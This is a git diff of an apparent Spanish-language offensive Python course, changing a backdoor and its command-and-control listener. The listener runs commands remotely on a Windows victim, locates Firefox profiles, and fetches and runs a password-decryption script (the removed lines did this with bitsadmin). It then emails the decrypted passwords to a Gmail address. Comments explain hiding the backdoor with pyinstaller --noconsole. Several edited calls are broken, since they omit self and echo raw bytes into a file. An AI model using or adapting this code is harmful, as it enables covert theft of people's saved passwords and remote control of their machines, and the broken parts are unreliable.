python-ofensivo/15_hacking/11_c2/backdoor.py

@@ -1,11 +1,6 @@
 # /usr/bin/env python3
 """
 Backdoor
-
-Para hacerlo invisible se puede usar pyinstaller con la opción --noconsole
-
-pyinstaller --onefile --noconsole listener.py
-
 """
 
 import signal

python-ofensivo/15_hacking/11_c2/listener.py

@@ -2,20 +2,22 @@
 """
 Listener para el backdoor
 
-Para hacer invisible el backdoor se puede utilizar pyinstaller con la 
-opción --noconsole
+Para hacerlo invisible se puede usar pyinstaller con la opción --noconsole
 
 pyinstaller --onefile --noconsole listener.py
 
+
 """
 
 
 import dotenv
 import os
+import requests
 import signal
 import smtplib
 import socket
 import sys
+import tempfile
 from email.mime.text import MIMEText
 from termcolor import colored
 
@@ -106,12 +108,12 @@ class Listener:
         Consigue el profile de firefox
         """
 
-        path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
-
-        command = f"dir {path}"
-
         try:
 
+            path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
+
+            command = f"dir {path}"
+
             output_command_dir = self.execute_remotely(command)
 
             profile_line = next(line for line in output_command_dir.split(
@@ -127,32 +129,35 @@ class Listener:
 
             return None
 
+
     def get_firefox_passwords(self, username, profiles):
         """
         Extrae las contraseñas guardadas en un profile de firefox
         """
 
-        url_download = "https://raw.githubusercontent.com/unode/firefox_decrypt/main/firefox_decrypt.py"
-        path_download = "%TEMP%\\firefox_decrypt.py"
-        options_download = "/transfer midescarga /download /priority normal"
-        command_download = f"bitsadmin {options_download} {url_download} {path_download}"
-
         firefox_profile_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\{profiles}"
 
-        try:
-            self.execute_remotely(command_download)
+        command = f"python firefox_decrypt.py {firefox_profile_path}"
 
-            command = f"python %TEMP%\\firefox_decrypt.py {firefox_profile_path}"
+        r = requests.get(
+            "https://raw.githubusercontent.com/unode/firefox_decrypt/main/firefox_decrypt.py")
 
-            passwords = self.execute_remotely(command)
+        self.execute_remotely(f"dir C:\\Users\\{username}\\AppData\\Local\\Temp\\")
+        print(execute_remotely("dir"))
         
-            self.execute_remotely("del %TEMP%\\firefox_decrypt.py")
+        command_copy = f"echo {r.content} > firefox_decrypt.py"
+        self.execute_remotely(command_copy)
+        temp_dir = tempfile.mkdtemp()
 
-        except Exception as e:
+        os.chdir(temp_dir)
 
-            print(f"\n[!] Error al obtener las contraseñas de Firefox.\nError: {e}")
+        with open("firefox_decrypt.py", "wb") as f:
 
-            return None
+            f.write(r.content)
+
+        passwords = execute_remotely(command)
+
+        os.remove("firefox_decrypt.py")
 
         return passwords
 
@@ -205,7 +210,7 @@ class Listener:
 
                 if passwords:
 
-                    self.send_email(
+                    send_email(
                         "Decrypted Firefox Passwords INFO",
                         passwords,
                         "keyloggerseginf@gmail.com",
@@ -230,5 +235,5 @@ class Listener:
 
 if __name__ == "__main__":
 
-    my_listener = Listener("192.168.1.119", 443)
+    my_listener = Listener("192.168.2.105", 443)
     my_listener.run()